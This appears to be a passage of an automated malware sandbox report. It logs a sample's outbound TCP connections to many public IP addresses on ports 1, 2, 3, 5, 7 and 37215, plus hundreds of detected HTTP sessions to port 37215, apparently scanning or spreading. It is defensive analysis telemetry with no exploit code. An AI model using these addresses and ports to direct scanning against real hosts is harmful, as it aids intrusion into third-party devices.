Source: global traffic	TCP traffic: 156.132.155.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.89.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.35.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.99.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.222.167.49 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.97.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.163.52.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.87.93.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.30.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.166.221.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.91.171.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.222.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.68.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.208.177.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.57.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.186.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.31.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.147.6.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.202.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.254.17.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.65.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.233.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.194.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.93.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.124.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.101.55.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.214.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.6.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.206.130.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.142.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.131.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.250.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.198.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.228.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.180.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.67.212.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.197.148.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.21.107.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.173.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.18.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.160.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.250.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.210.172.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.11.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.25.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.125.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.58.202.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.246.191.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.114.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.52.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.84.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.100.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.239.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.172.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.17.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.248.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.105.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.59.30 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45648 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58442 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36684 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33116 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35682 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58866 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42908 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54290 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52228 -> 37215
